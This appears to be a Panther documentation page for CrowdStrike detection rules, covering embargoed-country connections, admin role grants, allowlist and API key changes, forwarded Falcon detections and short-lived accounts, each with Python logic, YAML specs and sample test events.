Detection rules › Panther
Panther rules: crowdstrike
Connection to Embargoed Country
#Detection to alert when internal asset is communicating with an sanctioned destination. This detection leverages Panther UDM and IPInfo enrichment.
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_network_detection_alert_context
# U.S. Gov Sanctioned Destinations
EMBARGO_COUNTRY_CODES = {
"CU", # Cuba
"IR", # Iran
"KP", # DPRK
"SY", # Syria
}
def get_enrichment_obj(event):
return event.deep_get("p_enrichment", "ipinfo_location", "p_any_ip_addresses", default=None)
def rule(event):
enrichment_obj = get_enrichment_obj(event)
# enrichment_object returns a list.
# Iterate over list and check if the "country" value matches the country codes.
if enrichment_obj:
for i in enrichment_obj:
if i.get("country") in EMBARGO_COUNTRY_CODES:
return True
return False
def title(event):
enrichment_obj = get_enrichment_obj(event)
country_codes = set(
i.get("country") for i in enrichment_obj if i.get("country") in EMBARGO_COUNTRY_CODES
)
return f"Connection made to embargoed country: [{country_codes}]."
def alert_context(event):
if event.get("p_log_type") == "Crowdstrike.FDREvent":
return crowdstrike_network_detection_alert_context(event) | {
"p_any_ip_addresses": event.get("p_any_ip_addresses")
}
return {"p_any_ip_addresses": event.get("p_any_ip_addresses")}
Rule specification
AnalysisType: rule
Description: "Detection to alert when internal asset is communicating with an sanctioned destination. This detection leverages Panther UDM and IPInfo enrichment."
Reference: "U.S. Sanctioned Destinations - https://www.bis.doc.gov/index.php/policy-guidance/country-guidance/sanctioned-destinations"
DisplayName: "Connection to Embargoed Country"
Enabled: true
DedupPeriodMinutes: 60
LogTypes:
- Crowdstrike.FDREvent
RuleID: "Connection.to.Embargoed.Country"
Threshold: 1
Filename: crowdstrike_connection_to_embargoed_country.py
Severity: Low
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
p_enrichment.ipinfo_location.p_any_ip_addressesis presentany element of
p_enrichment.ipinfo_location.p_any_ip_addressesmatches:p_enrichment.ipinfo_location.p_any_ip_addresses.countryis one ofCU,IR,KP,SY
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
p_enrichment.ipinfo_location.p_any_ip_addresses | is_not_null | field:"p_enrichment.ipinfo_location.p_any_ip_addresses" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
p_any_ip_addresses |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "1431649125",
"ContextProcessId": "1685738",
"ContextTimeStamp": "2023-04-28 18:49:37.731",
"Entitlements": "15",
"InContext": "0",
"aid": "877761efa8db44d7redacted",
"aip": "1.1.1.1",
"cid": "cfe6986909644340redacted",
"event": {
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "1431649125",
"ConnectionDirection": "0",
"ConnectionFlags": "0",
"ContextProcessId": "1685738",
"ContextTimeStamp": "1682707777.731",
"EffectiveTransmissionClass": "3",
"Entitlements": "15",
"EventOrigin": "1",
"InContext": "0",
"LocalAddressIP4": "10.0.0.1",
"LocalPort": "137",
"Protocol": "17",
"RemoteAddressIP4": "152.206.0.1",
"RemotePort": "443",
"aid": "877761efa8db44d7redacted",
"aip": "1.1.1.1",
"cid": "cfe6986909644340redacted",
"event_platform": "Win",
"event_simpleName": "NetworkConnectIP4",
"id": "34019b0c-c7de-4725-9f93-4b8d16688673",
"name": "NetworkConnectIP4V12",
"timestamp": "1682707778681"
},
"event_platform": "Win",
"event_simpleName": "NetworkConnectIP4",
"fdr_event_type": "NetworkConnectIP4",
"id": "34019b0c-c7de-4725-9f93-4b8d16688673",
"name": "NetworkConnectIP4V12",
"p_any_ip_addresses": [
"152.206.0.1",
"10.0.0.1",
"1.1.1.1"
],
"p_enrichment": {
"greynoise_riot_advanced": {
"p_any_ip_addresses": [
{
"ip_cidr": "1.1.1.1/32",
"provider": {
"category": "public_dns",
"description": "Cloudflare, Inc. is an American...",
"explanation": "Public DNS services are used as...",
"name": "Cloudflare Public DNS",
"precedence": 0,
"trust_level": "1"
},
"scan_time": "2023-04-28 21:11:03.820349735"
}
]
},
"ipinfo_asn": {
"p_any_ip_addresses": [
{
"asn": "AS27725",
"domain": "etecsa.cu",
"name": "Empresa de Telecomunicaciones de Cuba, S.A.",
"route": "152.206.0.0/17",
"type": "isp"
},
{
"asn": "AS13335",
"domain": "cloudflare.com",
"name": "Cloudflare, Inc.",
"route": "1.1.1.0/24",
"type": "hosting"
}
]
},
"ipinfo_location": {
"p_any_ip_addresses": [
{
"city": "Matanzas",
"country": "CU",
"lat": "23.04111",
"lng": "-81.5775",
"postal_code": "",
"region": "Matanzas Province",
"region_code": "04",
"timezone": "America/Havana"
},
{
"city": "Los Angeles",
"country": "US",
"lat": "34.0522",
"lng": "-118.2437",
"postal_code": "90076",
"region": "California",
"region_code": "CA",
"timezone": "America/Los_Angeles"
}
]
},
"ipinfo_privacy": {
"p_any_ip_addresses": [
{
"hosting": true,
"proxy": false,
"relay": false,
"service": "",
"tor": false,
"vpn": false
}
]
}
},
"p_log_type": "Crowdstrike.FDREvent",
"timestamp": "2023-04-28 18:49:38.681"
}
Crowdstrike Admin Role Assigned
#A user was assigned a priviledged role
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Privilege Escalation |
Detection logic
from panther_crowdstrike_event_streams_helpers import audit_keys_dict, cs_alert_context
# List of priviledged roles.
# IMPORTANT: YOU MUST ADD ANY CUSTOM ADMIN ROLES YOURSELF
ADMIN_ROLES = {
"billing_dashboard_admin",
"falconhost_admin",
"firewall_manager",
"xdr_admin", # NG SIEM Admin
"remote_responder_three", # Remote Responder Admin
}
def get_roles_assigned(event):
"""Returns a list of the roles assigned in this event."""
# Extract the AuditKeyValues construct
audit_keys = audit_keys_dict(event)
# Return Roles
return audit_keys.get("roles", "").split(",")
def rule(event):
# Ignore non role-granting events
if not all(
[
event.deep_get("event", "OperationName") == "grantUserRoles",
event.deep_get("event", "Success"),
]
):
return False
# Raise alert if any of the admin roles were assigned
roles_assigned = get_roles_assigned(event)
return bool(ADMIN_ROLES & set(roles_assigned))
def title(event):
audit_keys = audit_keys_dict(event)
actor = audit_keys["actor_user"]
target = audit_keys["target_name"]
admin_roles = set(get_roles_assigned(event)) & ADMIN_ROLES
return f"{actor} assigned admin roles to {target}: {', '.join(list(admin_roles))}"
def dedup(event):
# The title includes the role names, but if the actor assigned more roles to the user, we
# dedup those alerts as well.
audit_keys = audit_keys_dict(event)
actor = audit_keys["actor_user"]
target = audit_keys["target_name"]
return f"{actor}-{target}"
def alert_context(event):
context = cs_alert_context(event)
actor = context.get("actor_user", "UNKNOWN_ACTOR")
target = context.get("target_name", "UNKNOWN_TARGET")
context["actor_target"] = f"{actor}-{target}"
return context
Rule specification
AnalysisType: rule
Filename: crowdstrike_admin_role_assigned.py
RuleID: "Crowdstrike.AdminRoleAssigned"
DisplayName: "Crowdstrike Admin Role Assigned"
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: Medium
Reports:
MITRE ATT&CK:
- TA0003:T1098.003 # Persistence: Additional Cloud Roles
- TA0004:T1098.003 # Priv Escalation: Additional Cloud Roles
Description: A user was assigned a priviledged role
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Confirm the role assignment is justified.
Stages and Predicates
Fires on Crowdstrike.EventStreams events when all of the conditions below hold.
Condition
event.OperationNameisgrantUserRolesevent.Successis present
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.OperationName | eq |
| field:"event.OperationName" kind:eq value:"grantUserRoles" |
event.Success | is_not_null | field:"event.Success" kind:is_not_null |
Response runbook
Confirm the role assignment is justified.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"AuditKeyValues": [
{
"Key": "target_name",
"ValueString": "merry.brandybuck@hobbiton.co"
},
{
"Key": "target_user_uuid",
"ValueString": "e70e5306-4a83-4a9f-9b59-a78c304c438b"
},
{
"Key": "target_cid",
"ValueString": "fake_customer_id"
},
{
"Key": "roles",
"ValueString": "billing_dashboard_admin"
},
{
"Key": "actor_cid",
"ValueString": "fake_customer_id"
},
{
"Key": "trace_id",
"ValueString": "897d300ad09137b362ee6a62846a9277"
},
{
"Key": "actor_user",
"ValueString": "peregrin.took@hobbiton.co"
},
{
"Key": "actor_user_uuid",
"ValueString": "e70e5306-4a83-4a9f-9b59-a78c304c438b"
}
],
"OperationName": "grantUserRoles",
"ServiceName": "Crowdstrike Authentication",
"Success": true,
"UTCTimestamp": "2024-07-22 21:32:49.000000000",
"UserId": "peregrin.took@hobbiton.co",
"UserIp": "1.1.1.1"
},
"metadata": {
"customerIDString": "fake_customer_id",
"eventCreationTime": "2024-07-22 21:32:49.531000000",
"eventType": "AuthActivityAuditEvent",
"offset": 342905,
"version": "1.0"
}
}
Crowdstrike Allowlist Removed
#A user deleted an allowlist
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Impact |
Detection logic
from panther_crowdstrike_event_streams_helpers import audit_keys_dict, cs_alert_context
def rule(event):
# Return True if allowlist is deleted
if event.deep_get("event", "OperationName") == "DeleteAllowlistGroup":
return True
# Return True if allowlist is disabled
if event.deep_get("event", "OperationName") == "UpdateAllowlistGroup":
audit_keys = audit_keys_dict(event)
return audit_keys.get("active") == "false" and audit_keys.get("old_active") == "true"
return False
def title(event):
actor = event.deep_get("event", "UserId")
audit_keys = audit_keys_dict(event)
list_name = audit_keys.get("group_name", "UNKNOWN_GROUP")
verb = {"DeleteAllowlistGroup": "deleted", "UpdateAllowlistGroup": "disabled"}.get(
event.deep_get("event", "OperationName"), "removed"
)
return f'{actor} {verb} IP allowlist "{list_name}"'
def dedup(event):
# We wanna group alerts if a user disables, then deletes the same allowlist
actor = event.deep_get("event", "UserId")
audit_keys = audit_keys_dict(event)
list_name = audit_keys.get("group_name", "UNKNOWN_GROUP")
return f"{actor}-{list_name}"
def alert_context(event):
return cs_alert_context(event)
def severity(event):
# Downgrade severity if a disabled allowlist was deleted
if all(
[
event.deep_get("event", "OperationName") == "DeleteAllowlistGroup",
audit_keys_dict(event).get("enabled") == "false",
]
):
return "INFO"
return "DEFAULT"
Rule specification
AnalysisType: rule
Filename: crowdstrike_allowlist_removed.py
RuleID: "Crowdstrike.AllowlistRemoved"
DisplayName: "Crowdstrike Allowlist Removed"
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: Medium
Reports:
MITRE ATT&CK:
- TA0040:T1531 # Account Access removal
Description: A user deleted an allowlist
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Confirm if the deleted allowlist is needed.
Stages and Predicates
Fires on Crowdstrike.EventStreams events when any of the conditions below holds.
Condition
any of:
event.OperationNameisDeleteAllowlistGroupevent.OperationNameisUpdateAllowlistGroup
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.OperationName | eq |
| field:"event.OperationName" kind:eq |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
UserId | event.UserId |
Response runbook
Confirm if the deleted allowlist is needed.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"AuditKeyValues": [
{
"Key": "cidrs",
"ValueString": "[0.0.0.0/8]"
},
{
"Key": "contexts",
"ValueString": "[API]"
},
{
"Key": "active",
"ValueString": "true"
},
{
"Key": "allowlist_group_id",
"ValueString": "782f842e-98dd-4ee7-9793-33abf8647656"
},
{
"Key": "group_name",
"ValueString": "my_allow_list"
},
{
"Key": "description",
"ValueString": ""
}
],
"OperationName": "DeleteAllowlistGroup",
"ServiceName": "Crowdstrike Allowlist Management",
"Success": true,
"UTCTimestamp": "2024-07-26 19:43:35.000000000",
"UserId": "wormtongue@isengard.org",
"UserIp": "1.2.3.4"
},
"metadata": {
"customerIDString": "fake_customer_id",
"eventCreationTime": "2024-07-26 19:43:35.082000000",
"eventType": "AuthActivityAuditEvent",
"offset": 366125,
"version": "1.0"
}
}
Crowdstrike API Key Created
#A user created an API Key in CrowdStrike
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Privilege Escalation |
Detection logic
from panther_crowdstrike_event_streams_helpers import cs_alert_context
def rule(event):
return all(
[
event.deep_get("event", "OperationName") == "CreateAPIClient",
event.deep_get("event", "Success"),
]
)
def title(event):
user = event.deep_get("event", "UserId")
service = event.deep_get("event", "ServiceName")
return f"{user} created a new API key in {service}"
def alert_context(event):
return cs_alert_context(event)
Rule specification
AnalysisType: rule
Filename: crowdstrike_api_key_created.py
RuleID: "Crowdstrike.API.Key.Created"
DisplayName: "Crowdstrike API Key Created"
Reports:
MITRE ATT&CK:
- TA0006:T1098.001 # Additional Cloud Credentials
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: Medium
Description: A user created an API Key in CrowdStrike
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Reach out to the user if needed to validate the activity.
Stages and Predicates
Fires on Crowdstrike.EventStreams events when all of the conditions below hold.
Condition
event.OperationNameisCreateAPIClientevent.Successis present
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.OperationName | eq |
| field:"event.OperationName" kind:eq value:"CreateAPIClient" |
event.Success | is_not_null | field:"event.Success" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
UserId | event.UserId |
ServiceName | event.ServiceName |
Response runbook
Reach out to the user if needed to validate the activity.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"AuditKeyValues": [
{
"Key": "scope(s)",
"ValueString": "alerts:read,api-integrations:read"
},
{
"Key": "actor_user",
"ValueString": "tester@panther.com"
},
{
"Key": "actor_user_uuid",
"ValueString": "a11a1111-1a11-1a1a-1a11-a11a111a111a"
},
{
"Key": "actor_cid",
"ValueString": "aaa111111111111111aaaaaa11a11a11"
},
{
"Key": "trace_id",
"ValueString": "1a111111-a1a1-111a-11aa-a111111a1a1a"
},
{
"Key": "APIClientID",
"ValueString": "aaa1a11aaa111a1a11a11aaaa1aa1a11"
},
{
"Key": "id",
"ValueString": "aaa1a11aaa111a1a11a11aaaa1aa1a11"
},
{
"Key": "name",
"ValueString": "key name"
}
],
"OperationName": "CreateAPIClient",
"ServiceName": "Crowdstrike API Client",
"Success": true,
"UTCTimestamp": "2024-07-08 14:01:54.000000000",
"UserId": "tester@panther.com",
"UserIp": "11.1.111.11"
},
"metadata": {
"customerIDString": "aaa111111111111111aaaaaa11a11a11",
"eventCreationTime": "2024-07-08 14:01:54.451000000",
"eventType": "AuthActivityAuditEvent",
"offset": 111111,
"version": "1.0"
}
}
Crowdstrike API Key Deleted
#A user deleted an API Key in CrowdStrike
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Stealth | |
| Impact |
Detection logic
from panther_crowdstrike_event_streams_helpers import cs_alert_context
def rule(event):
return all(
[
event.deep_get("event", "OperationName") == "DeleteAPIClients",
event.deep_get("event", "Success"),
]
)
def title(event):
user = event.deep_get("event", "UserId")
service = event.deep_get("event", "ServiceName")
return f"{user} deleted an API key in {service}"
def alert_context(event):
return cs_alert_context(event)
Rule specification
AnalysisType: rule
Filename: crowdstrike_api_key_deleted.py
RuleID: "Crowdstrike.API.Key.Deleted"
DisplayName: "Crowdstrike API Key Deleted"
Reports:
MITRE ATT&CK:
- TA0040:T1531 # Account Access Removal
- TA0005:T1070 # Indicator Removal
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: Medium
Description: A user deleted an API Key in CrowdStrike
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Validate this action was authorized.
Stages and Predicates
Fires on Crowdstrike.EventStreams events when all of the conditions below hold.
Condition
event.OperationNameisDeleteAPIClientsevent.Successis present
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.OperationName | eq |
| field:"event.OperationName" kind:eq value:"DeleteAPIClients" |
event.Success | is_not_null | field:"event.Success" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
UserId | event.UserId |
ServiceName | event.ServiceName |
Response runbook
Validate this action was authorized.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"AuditKeyValues": [
{
"Key": "scope(s)",
"ValueString": "alerts:read,api-integrations:read"
},
{
"Key": "actor_user",
"ValueString": "tester@panther.com"
},
{
"Key": "actor_user_uuid",
"ValueString": "a11a1111-1a11-1a1a-1a11-a11a111a111a"
},
{
"Key": "actor_cid",
"ValueString": "aaa111111111111111aaaaaa11a11a11"
},
{
"Key": "trace_id",
"ValueString": "1a111111-a1a1-111a-11aa-a111111a1a1a"
},
{
"Key": "APIClientID",
"ValueString": "aaa1a11aaa111a1a11a11aaaa1aa1a11"
},
{
"Key": "id",
"ValueString": "aaa1a11aaa111a1a11a11aaaa1aa1a11"
},
{
"Key": "name",
"ValueString": "key name"
}
],
"OperationName": "DeleteAPIClients",
"ServiceName": "Crowdstrike API Client",
"Success": true,
"UTCTimestamp": "2024-07-08 14:01:54.000000000",
"UserId": "tester@panther.com",
"UserIp": "11.1.111.11"
},
"metadata": {
"customerIDString": "aaa111111111111111aaaaaa11a11a11",
"eventCreationTime": "2024-07-08 14:01:54.451000000",
"eventType": "AuthActivityAuditEvent",
"offset": 111111,
"version": "1.0"
}
}
Crowdstrike Detection Passthrough
#Crowdstrike Falcon has detected malicious activity on a host.
Detection logic
import uuid
from panther_crowdstrike_fdr_helpers import (
crowdstrike_detection_alert_context,
get_crowdstrike_field,
)
def rule(event):
return (
get_crowdstrike_field(event, "ExternalApiType", default="none")
== "Event_EppDetectionSummaryEvent"
)
def title(event):
return (
f"Crowdstrike Alert ({get_crowdstrike_field(event, 'Technique')}) - "
+ f"{get_crowdstrike_field(event, 'Hostname')}"
+ f"({get_crowdstrike_field(event, 'UserName')})"
)
def alert_context(event):
return crowdstrike_detection_alert_context(event)
def severity(event):
# First, try returning the severity based on the SeverityName
sevname = get_crowdstrike_field(event, "SeverityName").upper()
allowed_values = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL")
if sevname == "INFORMATIONAL":
sevname = "INFO"
if sevname in allowed_values:
return sevname
# Else, fallback on the numerical value, falling back on MEDIUM if we still don't have a value
sevval = get_crowdstrike_field(event, "Severity")
return {1: "INFO", 2: "LOW", 3: "MEDIUM", 4: "HIGH", 5: "CRITICAL", 6: "CRITICAL"}.get(
sevval, "DEFAULT"
)
def dedup(event):
# CompositeId is unique per detection indicator and present in both
# DetectionSummary and FDREvent formats. EventUUID is null in FDREvent,
# which previously caused all detections to share the dedup key "None ".
composite_id = get_crowdstrike_field(event, "CompositeId")
if composite_id:
return composite_id
# Fallback: generate a unique ID so detections never silently merge
return str(uuid.uuid4())
Rule specification
AnalysisType: rule
Filename: crowdstrike_detection_passthrough.py
RuleID: "Crowdstrike.Detection.passthrough"
DisplayName: "Crowdstrike Detection Passthrough"
Enabled: true
Severity: Medium
LogTypes:
- Crowdstrike.DetectionSummary
- Crowdstrike.FDREvent
Tags:
- Crowdstrike
Description: Crowdstrike Falcon has detected malicious activity on a host.
Runbook: Follow the Falcon console link and follow the IR process as needed.
Reference: https://www.crowdstrike.com/blog/tech-center/hunt-threat-activity-falcon-endpoint-protection/
DedupPeriodMinutes: 60
SummaryAttributes:
- p_any_ip_addresses
Stages and Predicates
Fires on Crowdstrike.DetectionSummary, Crowdstrike.FDREvent events when the condition below holds.
Condition
ExternalApiTypeisEvent_EppDetectionSummaryEvent
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
ExternalApiType | eq |
| field:"ExternalApiType" kind:eq value:"Event_EppDetectionSummaryEvent" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
user | UserName |
console-link | FalconHostLink |
commandline | CommandLine |
parentcommandline | ParentCommandLine |
filename | FileName |
filepath | FilePath |
description | Description |
action | PatternDispositionDescription |
Technique | |
Hostname |
Response runbook
Follow the Falcon console link and follow the IR process as needed.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"AgentIdString": "00000000000000000000000000000000",
"CommandLine": "/Applications/app.app/Contents/MacOS/pup app",
"CompositeId": "00000000000000000000000000000000:ind:00000000006e49842267fc5837c4e2fc:222222222222222222-33333-444444",
"CustomerIdString": "00000000006e49842267fc5837c4e2fc",
"Description": "This file is classified as Adware/PUP based on its SHA256 hash.",
"EventType": "Event_ExternalApiEvent",
"EventUUID": "000000000034829cb7cd82035c444f38",
"ExternalApiType": "Event_EppDetectionSummaryEvent",
"FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity/detections/detail/00000000000000000000000000000000/222222222222222222?",
"FileName": "pup app",
"FilePath": "/Applications/app.app/Contents/MacOS/",
"GrandParentCommandLine": "/sbin/launchd",
"GrandParentImageFileName": "/sbin/launchd",
"Hostname": "macbook",
"LocalIP": "1.1.1.1",
"MACAddress": "aa-bb-cc-dd-5a-d2",
"MD5String": "000000000034829cb7cd82035c444f38",
"MachineDomain": "",
"Name": "NGAV",
"Nonce": 1,
"Objective": "Falcon Detection Method",
"OriginSourceIpAddress": "",
"ParentCommandLine": "/usr/libexec/runningboardd",
"ParentImageFileName": "/usr/libexec/runningboardd",
"ParentProcessId": 376330001421757630,
"PatternDispositionDescription": "Prevention/Quarantine, process was blocked from execution and quarantine was attempted.",
"PatternDispositionFlags": "{\n \"BlockingUnsupportedOrDisabled\": false,\n \"BootupSafeguardEnabled\": false,\n \"CriticalProcessDisabled\": false,\n \"Detect\": false,\n \"FsOperationBlocked\": false,\n \"HandleOperationDowngraded\": false,\n \"InddetMask\": false,\n \"Indicator\": false,\n \"KillActionFailed\": false,\n \"KillParent\": false,\n \"KillProcess\": false,\n \"KillSubProcess\": false,\n \"OperationBlocked\": false,\n \"PolicyDisabled\": false,\n \"ProcessBlocked\": true,\n \"QuarantineFile\": true,\n \"QuarantineMachine\": false,\n \"RegistryOperationBlocked\": false,\n \"Rooting\": false,\n \"SensorOnly\": false,\n \"SuspendParent\": false,\n \"SuspendProcess\": false\n}",
"PatternDispositionValue": 2176,
"ProcessEndTime": "1970-01-01 00:00:00Z",
"ProcessId": 377077835340488700,
"ProcessStartTime": "2021-09-18 20:38:51Z",
"SHA1String": "0000000000000000000000000000000000000000",
"SHA256String": "00000000009d4244ff0eff80712145e92dfbdc1990483402aca903f70c020e60",
"SensorId": "00000000000000000000000000000000",
"Severity": 2,
"SeverityName": "Low",
"Tactic": "Malware",
"Technique": "PUP",
"UTCTimestamp": "2021-09-18 20:38:52Z",
"UserName": "bobert",
"cid": "00000000006e49842267fc5837c4e2fc",
"eid": 118,
"timestamp": "2021-09-18 20:38:52Z"
}
Crowdstrike Detection Summary
#This is a third-party alert feed, not a detection over modeled telemetry. Another security product raised the finding; this rule forwards or reshapes it into the SIEM. It is searchable for reference but is excluded from the detection-rule browse and the ATT&CK coverage matrix.
Forwards any alerts generated by CrowdStrike to your Panther destinations.
Detection logic
from panther_core import PantherEvent
from panther_crowdstrike_event_streams_helpers import cs_alert_context
def rule(event: PantherEvent):
return event.deep_get("metadata", "eventType") == "EppDetectionSummaryEvent"
def title(event: PantherEvent):
alert_title = event.deep_get("event", "Name", default="New CrowdStrike Detection")
alert_desc = event.deep_get("event", "Description")
return f"{alert_title}: {alert_desc}" if alert_desc else alert_title
def dedup(event: PantherEvent):
if alert_id := event.deep_get("event", "CompositeId"):
return alert_id
# Else, fall back on title string
return title(event)
def severity(event: PantherEvent):
# First, try returning the severity based on the SeverityName
sevname = str(event.deep_get("event", "SeverityName")).upper()
allowed_values = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL")
if sevname == "INFORMATIONAL":
sevname = "INFO"
if sevname in allowed_values:
return sevname
# Else, fallback on the numerical value, falling back on MEDIUM if we still don't have a value
sevval = event.deep_get("event", "Severity") // 20
return {0: "INFO", 1: "LOW", 2: "MEDIUM", 3: "HIGH", 4: "CRITICAL", 5: "CRITICAL"}.get(
sevval, "DEFAULT"
)
def reference(event: PantherEvent):
return event.deep_get("event", "FalconHostLink", default="")
def alert_context(event: PantherEvent):
context = cs_alert_context(event)
context.update(
{
"FalconLink": event.deep_get("event", "FalconHostLink", default="<NO LINK PROVIDED>"),
"CompositeId": event.deep_get("event", "CompositeId", default="<NO ID PROVIDED>"),
"FileName": event.deep_get("event", "FileName", default="<NO FILENAME PROVIDED>"),
"FilePath": event.deep_get("event", "FilePath", default="<NO FILEPATH PROVIDED>"),
"UserName": event.deep_get("event", "UserName", default="<NO USERNAME PROVIDED>"),
}
)
return context
Rule specification
AnalysisType: rule
Filename: crowdstrike_detection_summary.py
RuleID: "Crowdstrike.EppDetectionSummary"
DisplayName: "Crowdstrike Detection Summary"
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: Medium
Description: Forwards any alerts generated by CrowdStrike to your Panther destinations.
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Followup with the alert according to CrowdStrike's recommendations.
Tags:
- Crowdstrike
- Passthrough
Stages and Predicates
Fires on Crowdstrike.EventStreams events when the condition below holds.
Condition
metadata.eventTypeisEppDetectionSummaryEvent
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
metadata.eventType | eq |
| field:"metadata.eventType" kind:eq value:"EppDetectionSummaryEvent" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
Description | event.Description |
Name | event.Name |
Response runbook
Followup with the alert according to CrowdStrike's recommendations.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"CommandLine": "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=3832,i,16271085821438557631,11283940248133486999,262144 --variations-seed-version --mojo-platform-channel-handle=3900 /prefetch:8",
"CompositeId": "DETECTION ID",
"Description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
"FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/DETECTION-ID?_cid=g04000rdir6xllkvfbjftn5dbo67ord4",
"FileName": "msedge.exe",
"FilePath": "\\Device\\HarddiskVolume1\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"GrandParentCommandLine": "C:\\Windows\\Explorer.EXE",
"GrandParentImageFilename": "explorer.exe",
"LocalIP": "2.2.2.2",
"MACAddress": "AA-BB-CC-DD-71-7F",
"MD5String": "000000000041c03beaa7ea3547b1940c",
"Name": "Known Malware",
"Objective": "Follow Through",
"ParentCommandLine": "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --profile-directory=Default",
"ParentImageFileName": "msedge.exe",
"ParentProcessId": "90559720124",
"PatternDispositionDescription": "Detection, standard detection.",
"PatternDispositionFlags": {
"BootupSafeguardEnabled": false,
"CriticalProcessDisabled": false,
"Detect": false,
"FsOperationBlocked": false,
"InddetMask": false,
"Indicator": false,
"KillParent": false,
"KillProcess": false,
"KillSubProcess": false,
"OperationBlocked": false,
"PolicyDisabled": false,
"ProcessBlocked": false,
"QuarantineFile": false,
"QuarantineMachine": false,
"RegistryOperationBlocked": false,
"Rooting": false,
"SensorOnly": false
},
"PatternDispositionValue": 0,
"ProcessEndTime": "1970-01-01 00:00:00.000000000",
"ProcessId": "90597916092",
"ProcessStartTime": "2024-12-03 19:53:19.000000000",
"SHA1String": "0000000000000000000000000000000000000000",
"SHA256String": "0000000000f07f39b17d8c446e27aea75de9f98bea195501e20ed433a7a25469",
"Severity": 10,
"SeverityName": "Informational",
"Tactic": "Execution",
"Technique": "User Execution",
"UserName": "Administrator"
},
"metadata": {
"customerIDString": "CUST_ID",
"eventCreationTime": "2024-12-03 19:54:30.000000000",
"eventType": "EppDetectionSummaryEvent",
"offset": 1201171,
"version": "1.0"
},
"p_event_time": "2024-12-03 19:54:30.000000000",
"p_log_type": "Crowdstrike.EventStreams",
"p_parse_time": "2024-12-03 19:55:53.866056859"
}
Crowdstrike Ephemeral User Account
#Detects when a user account is created and deleted within 12 hours. This aims to detect ephemeral user accounts infiltrators might use to avoid suspicion.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Stealth |
Rule specification
AnalysisType: correlation_rule
RuleID: "Crowdstrike.EphemeralUserAccount"
DisplayName: "Crowdstrike Ephemeral User Account"
Enabled: true
Severity: High
Description: Detects when a user account is created and deleted within 12 hours. This aims to detect ephemeral user accounts infiltrators might use to avoid suspicion.
Reference: ""
Reports:
MITRE ATT&CK:
- TA0003:T1136.003 # Persistence: Create Cloud Account
- TA0005:T1070 # Defense Evasion: Indicator Removal
Detection:
- Sequence:
- ID: AccountCreated
RuleID: Crowdstrike.NewUserCreated
- ID: AccountDeleted
RuleID: Crowdstrike.UserDeleted
Transitions:
- ID: User Created FOLLOWED BY User Deleted
From: AccountCreated
To: AccountDeleted
WithinTimeFrameMinutes: 720 # 12 hours
Match:
- On: p_alert_context.target_name
LookbackWindowMinutes: 2160
Schedule:
RateMinutes: 1440
TimeoutMinutes: 1
Stages and Predicates
Fires when the steps below all occur in order within 12h, correlated by p_alert_context.target_name. Each step needs one match unless a higher minimum is shown.
Stage 1: step AccountCreated ordered before $AccountDeleted
References detection Crowdstrike New User Created.
Stage 2: step AccountDeleted ordered after $AccountCreated
References detection Crowdstrike User Deleted.
